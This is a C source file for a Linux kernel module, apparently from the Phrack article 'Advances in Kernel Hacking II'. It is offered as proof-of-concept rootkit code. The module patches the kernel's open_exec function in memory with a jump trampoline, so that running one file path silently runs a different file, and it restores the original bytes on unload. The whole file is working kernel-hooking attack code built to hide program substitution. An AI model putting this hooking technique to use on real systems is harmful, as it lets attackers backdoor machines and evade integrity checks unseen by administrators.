/*
 * LICENSE:
 * this file may be copied or duplicated in any form, in
 * whole or in part, modified or not, as long as this
 * copyright notice is prepended UNMODIFIED.
 *
 * This code is proof of concept. The author can and must
 * not be made responsible for any, including but not limited
 * to, incidental or consequential damage, data loss or
 * service outage. The code is provided "AS IS" and WITHOUT
 * ANY WARRENTY. USE IT AT YOU OWN RISK.
 *
 * this is part of the Phrack (www.phrack.org) article:
 * Advances in Kernel Hacking II by palmers / teso
 */

#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <asm/uaccess.h>

#include "strdup.c"

#define CODESIZE 7
static char     o_handler[7];
static char     n_handler[] = "\xb8\x00\x00\x00\x00\xff\xe0";

void            cleanup_module();


struct file    *
n_open_exec(char *file)
{
    struct file    *ret;

    /*
     * ... still ...
     */
    if (!strcmp(file, O_REDIR_PATH))
	file = _strdup(N_REDIR_PATH);

    memcpy(open_exec, o_handler, CODESIZE);
    ret = open_exec(file);
    memcpy(open_exec, n_handler, CODESIZE);

    return ret;
}


int
init_module()
{
    *(long *) &n_handler[1] = (long) n_open_exec;
    memcpy(o_handler, open_exec, CODESIZE);
    memcpy(open_exec, n_handler, CODESIZE);
    return 0;
}


void
cleanup_module()
{
    memcpy(open_exec, o_handler, CODESIZE);
}
